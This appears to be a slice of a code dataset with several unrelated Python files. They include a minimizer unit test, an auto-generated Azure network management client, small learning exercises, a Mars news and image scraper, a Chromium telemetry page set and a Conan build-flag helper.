a_errors[mu_param]\n assert a_error['lower'] == pytest.approx(-a_error['upper'], abs=0.1)\n assert abs(a_error['lower']) == pytest.approx(0.015, abs=0.015)\n assert abs(errors[sigma_param]['lower']) == pytest.approx(0.010, abs=0.01)\n assert abs(errors[lambda_param]['lower']) == pytest.approx(0.007, abs=0.15)\n assert abs(errors[lambda_param]['upper']) == pytest.approx(0.007, abs=0.15)\n\n assert errors[mu_param]['lower'] == pytest.approx(a_error['lower'], rel=0.01)\n assert errors[mu_param]['upper'] == pytest.approx(a_error['upper'], rel=0.01)\n\n # Test Error method name\n a_errors, _ = result.errors(params=mu_param, error_name='error1')\n assert tuple(a_errors.keys()) == (mu_param,)\n errors, _ = result.errors(error_name='error42')\n a_error = a_errors[mu_param]\n\n assert a_error['lower'] == pytest.approx(result.params[mu_param]['error42']['lower'], rel=0.001)\n assert a_error['lower'] == pytest.approx(result.params[mu_param]['error1']['lower'], rel=0.001)\n for param, errors2 in result.params.items():\n assert errors[param]['lower'] == pytest.approx(errors2['error42']['lower'], rel=0.001)\n assert errors[param]['upper'] == pytest.approx(errors2['error42']['upper'], rel=0.001)\n\n # test custom error\n def custom_error_func(result, params, sigma):\n return OrderedDict((param, {'myval': 42}) for param in params), None\n\n custom_errors, _ = result.errors(method=custom_error_func, error_name='custom_method1')\n for param, errors2 in result.params.items():\n assert custom_errors[param]['myval'] == 42\n\n # Test Hesse\n\n for method in ['minuit_hesse', 'hesse_np']:\n b_hesses = result.hesse(params=sigma_param, method=method)\n assert tuple(b_hesses.keys()) == (sigma_param,)\n errors = result.hesse()\n b_hesse = b_hesses[sigma_param]\n assert abs(b_hesse['error']) == pytest.approx(0.0965, abs=0.105)\n assert abs(b_hesse['error']) == pytest.approx(abs(errors[sigma_param]['error']), rel=0.1)\n assert abs(errors[sigma_param]['error']) == pytest.approx(0.010, abs=0.015)\n assert abs(errors[lambda_param]['error']) == pytest.approx(0.007, abs=0.015)\n\n else:\n with pytest.raises(TypeError):\n _ = result.errors(params=mu_param, method=\"minuit_minos\")\n","sub_path":"tests/test_minimizer.py","file_name":"test_minimizer.py","file_ext":"py","file_size_in_byte":8743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"136970934","text":"# coding=utf-8\n# --------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for license information.\n# Code generated by Microsoft (R) AutoRest Code Generator.\n# Changes may cause incorrect behavior and will be lost if the code is regenerated.\n# --------------------------------------------------------------------------\n\nfrom copy import deepcopy\nfrom typing import Any, Awaitable, TYPE_CHECKING\n\nfrom azure.core.rest import AsyncHttpResponse, HttpRequest\nfrom azure.mgmt.core import AsyncARMPipelineClient\n\nfrom .. import models as _models\nfrom ..._serialization import Deserializer, Serializer\nfrom ._configuration import NetworkManagementClientConfiguration\nfrom .operations import (\n ActiveConnectivityConfigurationsOperations,\n ActiveSecurityAdminRulesOperations,\n ActiveSecurityUserRulesOperations,\n AdminRuleCollectionsOperations,\n AdminRulesOperations,\n ConnectivityConfigurationsOperations,\n EffectiveConnectivityConfigurationsOperations,\n EffectiveVirtualNetworksOperations,\n NetworkGroupsOperations,\n NetworkManagerCommitsOperations,\n NetworkManagerDeploymentStatusOperations,\n NetworkManagerEffectiveSecurityAdminRulesOperations,\n NetworkManagersOperations,\n NetworkSecurityPerimetersOperations,\n NspAccessRulesOperations,\n NspAccessRulesReconcileOperations,\n NspAssociationReconcileOperations,\n NspAssociationsOperations,\n NspLinkReferencesOperations,\n NspLinksOperations,\n NspProfilesOperations,\n PerimeterAssociableResourceTypesOperations,\n SecurityAdminConfigurationsOperations,\n SecurityUserConfigurationsOperations,\n UserRuleCollectionsOperations,\n UserRulesOperations,\n)\n\nif TYPE_CHECKING:\n # pylint: disable=unused-import,ungrouped-imports\n from azure.core.credentials_async import AsyncTokenCredential\n\n\nclass NetworkManagementClient: # pylint: disable=client-accepts-api-version-keyword,too-many-instance-attributes\n \"\"\"Network Client.\n\n :ivar network_managers: NetworkManagersOperations operations\n :vartype network_managers:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.NetworkManagersOperations\n :ivar network_manager_commits: NetworkManagerCommitsOperations operations\n :vartype network_manager_commits:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.NetworkManagerCommitsOperations\n :ivar network_manager_deployment_status: NetworkManagerDeploymentStatusOperations operations\n :vartype network_manager_deployment_status:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.NetworkManagerDeploymentStatusOperations\n :ivar effective_virtual_networks: EffectiveVirtualNetworksOperations operations\n :vartype effective_virtual_networks:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.EffectiveVirtualNetworksOperations\n :ivar active_connectivity_configurations: ActiveConnectivityConfigurationsOperations operations\n :vartype active_connectivity_configurations:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.ActiveConnectivityConfigurationsOperations\n :ivar active_security_admin_rules: ActiveSecurityAdminRulesOperations operations\n :vartype active_security_admin_rules:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.ActiveSecurityAdminRulesOperations\n :ivar active_security_user_rules: ActiveSecurityUserRulesOperations operations\n :vartype active_security_user_rules:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.ActiveSecurityUserRulesOperations\n :ivar connectivity_configurations: ConnectivityConfigurationsOperations operations\n :vartype connectivity_configurations:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.ConnectivityConfigurationsOperations\n :ivar effective_connectivity_configurations: EffectiveConnectivityConfigurationsOperations\n operations\n :vartype effective_connectivity_configurations:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.EffectiveConnectivityConfigurationsOperations\n :ivar network_manager_effective_security_admin_rules:\n NetworkManagerEffectiveSecurityAdminRulesOperations operations\n :vartype network_manager_effective_security_admin_rules:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.NetworkManagerEffectiveSecurityAdminRulesOperations\n :ivar network_groups: NetworkGroupsOperations operations\n :vartype network_groups:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.NetworkGroupsOperations\n :ivar security_user_configurations: SecurityUserConfigurationsOperations operations\n :vartype security_user_configurations:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.SecurityUserConfigurationsOperations\n :ivar user_rule_collections: UserRuleCollectionsOperations operations\n :vartype user_rule_collections:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.UserRuleCollectionsOperations\n :ivar user_rules: UserRulesOperations operations\n :vartype user_rules: azure.mgmt.network.v2021_02_01_preview.aio.operations.UserRulesOperations\n :ivar security_admin_configurations: SecurityAdminConfigurationsOperations operations\n :vartype security_admin_configurations:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.SecurityAdminConfigurationsOperations\n :ivar admin_rule_collections: AdminRuleCollectionsOperations operations\n :vartype admin_rule_collections:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.AdminRuleCollectionsOperations\n :ivar admin_rules: AdminRulesOperations operations\n :vartype admin_rules:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.AdminRulesOperations\n :ivar network_security_perimeters: NetworkSecurityPerimetersOperations operations\n :vartype network_security_perimeters:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.NetworkSecurityPerimetersOperations\n :ivar nsp_profiles: NspProfilesOperations operations\n :vartype nsp_profiles:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.NspProfilesOperations\n :ivar nsp_access_rules: NspAccessRulesOperations operations\n :vartype nsp_access_rules:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.NspAccessRulesOperations\n :ivar nsp_associations: NspAssociationsOperations operations\n :vartype nsp_associations:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.NspAssociationsOperations\n :ivar nsp_association_reconcile: NspAssociationReconcileOperations operations\n :vartype nsp_association_reconcile:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.NspAssociationReconcileOperations\n :ivar perimeter_associable_resource_types: PerimeterAssociableResourceTypesOperations\n operations\n :vartype perimeter_associable_resource_types:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.PerimeterAssociableResourceTypesOperations\n :ivar nsp_access_rules_reconcile: NspAccessRulesReconcileOperations operations\n :vartype nsp_access_rules_reconcile:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.NspAccessRulesReconcileOperations\n :ivar nsp_links: NspLinksOperations operations\n :vartype nsp_links: azure.mgmt.network.v2021_02_01_preview.aio.operations.NspLinksOperations\n :ivar nsp_link_references: NspLinkReferencesOperations operations\n :vartype nsp_link_references:\n azure.mgmt.network.v2021_02_01_preview.aio.operations.NspLinkReferencesOperations\n :param credential: Credential needed for the client to connect to Azure. Required.\n :type credential: ~azure.core.credentials_async.AsyncTokenCredential\n :param subscription_id: The subscription credentials which uniquely identify the Microsoft\n Azure subscription. The subscription ID forms part of the URI for every service call. Required.\n :type subscription_id: str\n :param base_url: Service URL. Default value is \"https://management.azure.com\".\n :type base_url: str\n :keyword api_version: Api Version. Default value is \"2021-02-01-preview\". Note that overriding\n this default value may result in unsupported behavior.\n :paramtype api_version: str\n :keyword int polling_interval: Default waiting time between two polls for LRO operations if no\n Retry-After header is present.\n \"\"\"\n\n def __init__(\n self,\n credential: \"AsyncTokenCredential\",\n subscription_id: str,\n base_url: str = \"https://management.azure.com\",\n **kwargs: Any\n ) -> None:\n self._config = NetworkManagementClientConfiguration(\n credential=credential, subscription_id=subscription_id, **kwargs\n )\n self._client: AsyncARMPipelineClient = AsyncARMPipelineClient(base_url=base_url, config=self._config, **kwargs)\n\n client_models = {k: v for k, v in _models.__dict__.items() if isinstance(v, type)}\n self._serialize = Serializer(client_models)\n self._deserialize = Deserializer(client_models)\n self._serialize.client_side_validation = False\n self.network_managers = NetworkManagersOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.network_manager_commits = NetworkManagerCommitsOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.network_manager_deployment_status = NetworkManagerDeploymentStatusOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.effective_virtual_networks = EffectiveVirtualNetworksOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.active_connectivity_configurations = ActiveConnectivityConfigurationsOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.active_security_admin_rules = ActiveSecurityAdminRulesOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.active_security_user_rules = ActiveSecurityUserRulesOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.connectivity_configurations = ConnectivityConfigurationsOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.effective_connectivity_configurations = EffectiveConnectivityConfigurationsOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.network_manager_effective_security_admin_rules = NetworkManagerEffectiveSecurityAdminRulesOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.network_groups = NetworkGroupsOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.security_user_configurations = SecurityUserConfigurationsOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.user_rule_collections = UserRuleCollectionsOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.user_rules = UserRulesOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.security_admin_configurations = SecurityAdminConfigurationsOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.admin_rule_collections = AdminRuleCollectionsOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.admin_rules = AdminRulesOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.network_security_perimeters = NetworkSecurityPerimetersOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.nsp_profiles = NspProfilesOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.nsp_access_rules = NspAccessRulesOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.nsp_associations = NspAssociationsOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.nsp_association_reconcile = NspAssociationReconcileOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.perimeter_associable_resource_types = PerimeterAssociableResourceTypesOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.nsp_access_rules_reconcile = NspAccessRulesReconcileOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.nsp_links = NspLinksOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n self.nsp_link_references = NspLinkReferencesOperations(\n self._client, self._config, self._serialize, self._deserialize, \"2021-02-01-preview\"\n )\n\n def _send_request(self, request: HttpRequest, **kwargs: Any) -> Awaitable[AsyncHttpResponse]:\n \"\"\"Runs the network request through the client's chained policies.\n\n >>> from azure.core.rest import HttpRequest\n >>> request = HttpRequest(\"GET\", \"https://www.example.org/\")\n \n >>> response = await client._send_request(request)\n \n\n For more information on this code flow, see https://aka.ms/azsdk/dpcodegen/python/send_request\n\n :param request: The network request you want to make. Required.\n :type request: ~azure.core.rest.HttpRequest\n :keyword bool stream: Whether the response payload will be streamed. Defaults to False.\n :return: The response of your network call. Does not do error handling on your response.\n :rtype: ~azure.core.rest.AsyncHttpResponse\n \"\"\"\n\n request_copy = deepcopy(request)\n request_copy.url = self._client.format_url(request_copy.url)\n return self._client.send_request(request_copy, **kwargs)\n\n async def close(self) -> None:\n await self._client.close()\n\n async def __aenter__(self) -> \"NetworkManagementClient\":\n await self._client.__aenter__()\n return self\n\n async def __aexit__(self, *exc_details: Any) -> None:\n await self._client.__aexit__(*exc_details)\n","sub_path":"sdk/network/azure-mgmt-network/azure/mgmt/network/v2021_02_01_preview/aio/_network_management_client.py","file_name":"_network_management_client.py","file_ext":"py","file_size_in_byte":15204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"370902136","text":"def testreturn(x,y):\r\n return x+y\r\n\r\n\r\ndef testusereturn():\r\n ip = input(\"Ente : \")\r\n ip2 = input(\"Enter :\")\r\n x = testreturn(int(ip),int(ip2))\r\n print(x)\r\n\r\ndef oneplus(x,y):\r\n \r\n i = x % y\r\n count = 0\r\n while i != y:\r\n i += 1\r\n count += 1\r\n return count\r\n##testusereturn()\r\ndef byteCal(x):\r\n y = x % 4\r\n z = 0\r\n while(y != 4):\r\n y+=1\r\n z+=1\r\n return z\r\n\r\ndef converter(x,y):\r\n return x%y\r\n \r\ndef bintodec():\r\n ipnum = float(input(\"Enter num : \"))\r\n ipbase = float(input(\"Enter base :\"))\r\n lst = []\r\n while float(ipnum) != 0:\r\n x = converter(int(ipnum),int(ipbase))\r\n print(str(int(ipnum)),\"/\",(str(int(ipbase))),'=',x)\r\n lst.append(x)\r\n ipnum = int(ipnum) // int(ipbase)\r\n for i in range(0,byteCal(len(lst))): #0 = start, btreCal = end\r\n lst.append(\"0\")\r\n lst = reversed(lst)\r\n count = 0\r\n if ipbase != 10:\r\n for i in lst:\r\n print(str(int(i)),end = \"\")\r\n count +=1\r\n if count % 4 == 0:\r\n print(\" \",end=\"\")\r\n \r\nbintodec()\r\n##print(byteCal(1))\r\n\r\n\r\n\r\n\r\n \r\n","sub_path":"converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"209230525","text":"#!/usr/bin/python3\n\"\"\"This module has a class that inherits from list.\n\nThe module has the Mylist class.\n\"\"\"\n\n\nclass MyList(list):\n \"\"\"Class Mylist.\n It inherits from list and has the:\n print_sorted method that prints a list bur sorted\n ascending.\n\n Args:\n obj: it evaluates an object\n\n Returns:\n no returns\n\n \"\"\"\n def print_sorted(self):\n my_copy = self[:]\n my_copy.sort()\n print(my_copy)\n","sub_path":"0x0A-python-inheritance/1-my_list.py","file_name":"1-my_list.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"591210206","text":"# Import Dependecies \nfrom bs4 import BeautifulSoup \nfrom splinter import Browser\nimport pandas as pd \nimport requests \n\ndef init_browser(): \n exec_path = {'executable_path': 'chromedriver'}\n return Browser('chrome', headless=True, **exec_path)\n\nDataToHTML = {}\n\ndef scrape_last():\n try: \n browser = init_browser()\n browser.is_element_present_by_css(\"div.content_title\", wait_time=1)\n url_last = 'https://mars.nasa.gov/news/'\n browser.visit(url_last)\n html_last = browser.html\n soup = BeautifulSoup(html_last, 'html.parser')\n DataToHTML['header_last'] = soup.find('div', class_='content_title').find('a').text\n DataToHTML['content_last'] = soup.find('div', class_='article_teaser_body').text\n return DataToHTML\n finally:\n browser.quit()\n\ndef scrape_img():\n try: \n browser = init_browser()\n url_main_img = 'https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars'\n browser.visit(url_main_img)\n html_main_img = browser.html\n soup = BeautifulSoup(html_main_img, 'html.parser')\n complement_image_url = soup.find('article')['style'].replace('background-image: url(','').replace(');', '')[1:-1]\n root_main_img = 'https://www.jpl.nasa.gov'\n DataToHTML['url_main_img_final'] = root_main_img + complement_image_url\n return DataToHTML\n finally:\n browser.quit()\n\ndef scrape_msg():\n\n try: \n browser = init_browser()\n url_pressure = 'https://twitter.com/marswxreport?lang=en'\n browser.visit(url_pressure)\n html_pressure = browser.html\n soup = BeautifulSoup(html_pressure, 'html.parser')\n text_msg = soup.find_all('div', class_='js-tweet-text-container')\n for msg in text_msg: \n aux = msg.find('p').text\n if 'sol' and 'pressure' in aux:\n DataToHTML['msg'] = aux\n break\n else: \n pass\n return DataToHTML\n finally:\n browser.quit()\n\ndef scrape_table():\n url_table = 'http://space-facts.com/mars/'\n tables = pd.read_html(url_table)\n table_mars = tables[1]\n table_mars.columns = ['Description','Values of Mars']\n table_mars.set_index('Description', inplace=True)\n DataToHTML['table_mars'] = table_mars.to_html()\n return DataToHTML\n\ndef scrape_imgs():\n\n try: \n browser = init_browser()\n url_imgs = 'https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars'\n browser.visit(url_imgs)\n html_imgs = browser.html\n soup = BeautifulSoup(html_imgs, 'html.parser')\n imgs = soup.find_all('div', class_='item')\n head_imgs = []\n url_main_imgs = 'https://astrogeology.usgs.gov' \n for x in imgs: \n header = x.find('h3').text\n url_complement_imgs = x.find('a', class_='itemLink product-item')['href']\n browser.visit(url_main_imgs + url_complement_imgs)\n html_full_imgs = browser.html\n soup = BeautifulSoup( html_full_imgs, 'html.parser')\n url_full_imgs = url_main_imgs + soup.find('img', class_='wide-image')['src']\n head_imgs.append({\"header\" : header, \"url_full_imgs\" : url_full_imgs})\n sort_aux1 = [{'header' : 'Valles Marineris Hemisphere Enhanced'},{'header' : 'Cerberus Hemisphere Enhanced'},{'header' : 'Schiaparelli Hemisphere Enhanced'},{'header' : 'Syrtis Major Hemisphere Enhanced' }]\n sort_aux2 = []\n for y in range(len(sort_aux1)):\n for x in range(len(head_imgs)):\n if sort_aux1[y]['header'] == head_imgs[x]['header']:\n sort_aux2.append({\"header\" : sort_aux1[y]['header'], \"url_full_imgs\" : head_imgs[x]['url_full_imgs']})\n DataToHTML['imgs']=sort_aux2\n return DataToHTML\n finally:\n browser.quit()","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":3867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"248011660","text":"# Copyright 2014 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nfrom telemetry.page.actions.navigate import NavigateAction\nfrom telemetry.page.actions.javascript import JavascriptAction\nfrom telemetry.page.actions.scroll import ScrollAction\nfrom telemetry.page.actions.wait import WaitAction\nfrom telemetry.page.page_set import PageSet\nfrom telemetry.page.page import Page\n\n\nclass SimpleScrollPage(Page):\n def __init__(self, url='', credentials=''):\n super(SimpleScrollPage, self).__init__(url, '')\n self.credentials = credentials\n\n def RunSmoothness(self, action_runner):\n action_runner.RunAction(ScrollAction())\n\n def RunNavigateSteps(self, action_runner):\n action_runner.RunAction(NavigateAction())\n\n\nclass Google(SimpleScrollPage):\n def __init__(self):\n super(Google, self).__init__(\n 'https://www.google.com/#hl=en&q=barack+obama')\n\n def RunNavigateSteps(self, action_runner):\n super(Google, self).RunNavigateSteps(action_runner)\n action_runner.RunAction(WaitAction(\n {'condition': 'element', 'text': 'Next'}))\n\n\nclass Gmail(SimpleScrollPage):\n def __init__(self):\n super(Gmail, self).__init__(\n 'https://mail.google.com/mail/', credentials='google')\n\n def RunNavigateSteps(self, action_runner):\n super(Gmail, self).RunNavigateSteps(action_runner)\n action_runner.RunAction(WaitAction(\n {'javascript' : 'window.gmonkey !== undefined &&'\n 'document.getElementById(\"gb\") !== null'}))\n\n\nclass GoogleCalendar(SimpleScrollPage):\n def __init__(self):\n super(GoogleCalendar, self).__init__(\n 'https://www.google.com/calendar/', credentials='google')\n\n def RunNavigateSteps(self, action_runner):\n super(GoogleCalendar, self).RunNavigateSteps(action_runner)\n action_runner.RunAction(JavascriptAction(\n { 'expression' :\n '(function() { var elem = document.createElement(\"meta\");'\n 'elem.name=\"viewport\";'\n 'elem.content=\"initial-scale=1\";'\n 'document.body.appendChild(elem); })();'}))\n action_runner.RunAction(WaitAction({'seconds' : 2}))\n action_runner.RunAction(WaitAction({\n 'condition' : 'element', 'selector' : 'div[class~=\"navForward\"]'}))\n\n\nclass Youtube(SimpleScrollPage):\n def __init__(self):\n super(Youtube, self).__init__(\n 'http://www.youtube.com', credentials='google')\n\n def RunNavigateSteps(self, action_runner):\n super(Youtube, self).RunNavigateSteps(action_runner)\n action_runner.RunAction(WaitAction({'seconds' : 2}))\n\n\nclass Facebook(SimpleScrollPage):\n def __init__(self):\n super(Facebook, self).__init__(\n 'http://www.facebook.com/barackobama', credentials='facebook')\n self.name = \"Facebook\"\n\n def RunNavigateSteps(self, action_runner):\n super(Facebook, self).RunNavigateSteps(action_runner)\n action_runner.RunAction(WaitAction(\n {'condition': 'element', 'text': 'About'}))\n\n\nclass Top10PageSet(PageSet):\n def __init__(self):\n super(Top10PageSet, self).__init__(\n description='10 Pages chosen from Alexa top sites',\n archive_data_file='data/top_10.json',\n credentials_path='data/credentials.json',\n user_agent_type='desktop')\n\n # top google property; a google tab is often open\n self.AddPage(Google())\n\n # productivity, top google properties\n self.AddPage(Gmail())\n\n # productivity, top google properties\n self.AddPage(GoogleCalendar())\n\n # #3 (Alexa global)\n self.AddPage(Youtube())\n\n # top social, Public profile\n self.AddPage(Facebook())\n\n # #6 (Alexa) most visited worldwide,Picked an interesting page\n wikipedia_page = SimpleScrollPage('http://en.wikipedia.org/wiki/Wikipedia')\n wikipedia_page.name = \"Wikipedia\"\n self.AddPage(wikipedia_page)\n\n # #1 world commerce website by visits; #3 commerce in the US by time spent\n self.AddPage(SimpleScrollPage('http://www.amazon.com'))\n\n # #4 Alexa\n self.AddPage(SimpleScrollPage('http://www.yahoo.com/'))\n\n # #16 Alexa\n self.AddPage(SimpleScrollPage('http://www.bing.com/'))\n\n # #20 Alexa\n self.AddPage(SimpleScrollPage('http://www.ask.com/'))\n","sub_path":"tools/perf/page_sets/top_10.py","file_name":"top_10.py","file_ext":"py","file_size_in_byte":4152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"405842254","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport shutil\nimport re\n\nfrom conans import tools\nfrom conans import ConanFile\nfrom conans import CMake\n\nfrom fnmatch import fnmatch\nfrom pathlib import Path\nfrom functools import update_wrapper\n\ntry:\n from cStringIO import StringIO\nexcept ImportError:\n from io import StringIO\n\n\n\n\n\n# Utilities\nclass LazyProperty(property):\n def __init__(self, method, fget=None, fset=None, fdel=None, doc=None):\n\n self.method = method\n self.cache_name = \"_{}\".format(self.method.__name__)\n\n doc = doc or method.__doc__\n super(LazyProperty, self).__init__(fget=fget, fset=fset, fdel=fdel, doc=doc)\n\n update_wrapper(self, method)\n\n def __get__(self, instance, owner):\n\n if instance is None:\n return self\n\n if hasattr(instance, self.cache_name):\n result = getattr(instance, self.cache_name)\n else:\n if self.fget is not None:\n result = self.fget(instance)\n else:\n result = self.method(instance)\n\n setattr(instance, self.cache_name, result)\n\n return result\n\n\n\n\n\n# global module utility functions\n\n#\n# CMAKE Default Config\n#\ndef get_c_flags(**kwargs):\n if kwargs.get('is_posix', tools.os_info.is_posix):\n if kwargs.get('is_macos', tools.os_info.is_macos):\n # Our old macos CI is done on a old E5620 Intel(R) Xeon(R) CPU, which doesn't support AVX and f16c\n # CPU with 64-bit extensions, MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1, SSE4.2,\n # POPCNT, AES and PCLMUL instruction set support.\n flags = '-march=westmere'\n flags += ' -mtune=intel'\n flags += ' -mfpmath=sse'\n flags += ' -arch x86_64'\n flags += ' -mmacosx-version-min=10.14'\n flags += ' -DGL_SILENCE_DEPRECATION'\n return flags\n else:\n # CPU with 64-bit extensions, MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1, SSE4.2,\n # POPCNT, AVX, AES, PCLMUL, FSGSBASE instruction set support.\n flags = '-march=sandybridge'\n flags += ' -mtune=generic'\n flags += ' -mfpmath=sse'\n return flags\n else:\n # Windows flags..\n flags = '/favor:blend'\n flags += ' /fp:precise'\n flags += ' /Qfast_transcendentals'\n flags += ' /arch:AVX'\n flags += ' /MP'\n flags += ' /bigobj'\n flags += ' /EHsc'\n flags += ' /D_ENABLE_EXTENDED_ALIGNED_STORAGE'\n return flags\n\n\ndef get_cxx_flags(**kwargs):\n return get_c_flags(**kwargs)\n\n\ndef get_release_c_flags(**kwargs):\n if kwargs.get('is_posix', tools.os_info.is_posix):\n return '-O3 -fomit-frame-pointer -DNDEBUG'\n elif kwargs.get('is_windows', tools.os_info.is_windows):\n return '/O2 /Ob2 /MD /DNDEBUG'\n else:\n return ''\n\n\ndef get_release_cxx_flags(**kwargs):\n return get_release_c_flags(**kwargs)\n\n\ndef get_debug_c_flags(**kwargs):\n if kwargs.get('is_posix', tools.os_info.is_posix):\n return '-Og -g -D_DEBUG'\n elif kwargs.get('is_windows', tools.os_info.is_windows):\n return '/Ox /Oy- /Ob1 /Z7 /MDd /D_DEBUG'\n else:\n return ''\n\n\ndef get_debug_cxx_flags(**kwargs):\n return get_debug_c_flags(**kwargs)\n\n\ndef get_relwithdebinfo_c_flags(**kwargs):\n if kwargs.get('is_posix', tools.os_info.is_posix):\n return '-O3 -g -DNDEBUG'\n elif kwargs.get('is_windows', tools.os_info.is_windows):\n return get_release_c_flags(**kwargs) + ' /Z7'\n else:\n return ''\n\n\ndef get_relwithdebinfo_cxx_flags(**kwargs):\n return get_relwithdebinfo_c_flags(**kwargs)\n\n\ndef get_thorough_debug_c_flags(**kwargs):\n if kwargs.get('is_posix', tools.os_info.is_posix):\n return '-O0 -g3 -D_DEBUG'\n elif kwargs.get('is_windows', tools.os_info.is_windows):\n return '/Od /Ob0 /RTC1 /sdl /Z7 /MDd /D_DEBUG'\n else:\n return ''\n\n\ndef get_thorough_debug_cxx_flags(**kwargs):\n return get_thorough_debug_c_flags(**kwargs)\n\n\ndef get_full_c_flags(**kwargs):\n c_flags = get_c_flags(**kwargs)\n build_type = str(kwargs.get('build_type', 'debug')).lower()\n\n if build_type == 'debug':\n c_flags += ' ' + get_debug_c_flags(**kwargs)\n elif build_type == 'release':\n c_flags += ' ' + get_release_c_flags(**kwargs)\n elif build_type == 'relwithdebinfo':\n c_flags += ' ' + get_relwithdebinfo_c_flags(**kwargs)\n\n return c_flags\n\n\ndef get_full_cxx_flags(**kwargs):\n return get_full_c_flags(**kwargs)\n\n#\n# CMake project wrapper\n#\ndef generate_cmake_wrapper(**kwargs):\n # Get the cmake wrapper path\n cmakelists_path = kwargs.get('cmakelists_path', 'CMakeLists.txt')\n cmakelists_exists = Path(cmakelists_path).is_file()\n\n # If there is an existing CMakeLists.txt, because of some strange package like libsgm, we must rename it\n if cmakelists_exists:\n shutil.move(cmakelists_path, cmakelists_path + '.upstream')\n\n # Write the file content\n with open(cmakelists_path, 'w') as cmake_wrapper:\n cmake_wrapper.write('cmake_minimum_required(VERSION 3.15)\\n')\n\n # New policies management. It must be done before 'project(cmake_wrapper)'\n new_policies = kwargs.get('new_policies', None)\n if new_policies:\n for new_policy in new_policies:\n cmake_wrapper.write(\"cmake_policy(SET {0} NEW)\\n\".format(new_policy))\n\n # Old policies management. It must be done before 'project(cmake_wrapper)'\n old_policies = kwargs.get('old_policies', None)\n if old_policies:\n for old_policy in old_policies:\n cmake_wrapper.write(\"cmake_policy(SET {0} OLD)\\n\".format(old_policy))\n\n cmake_wrapper.write('project(cmake_wrapper)\\n')\n cmake_wrapper.write(\n 'if(EXISTS \"${CMAKE_BINARY_DIR}/conanbuildinfo.cmake\")\\n'\n )\n cmake_wrapper.write(\n ' include(${CMAKE_BINARY_DIR}/conanbuildinfo.cmake)\\n'\n )\n cmake_wrapper.write(\n 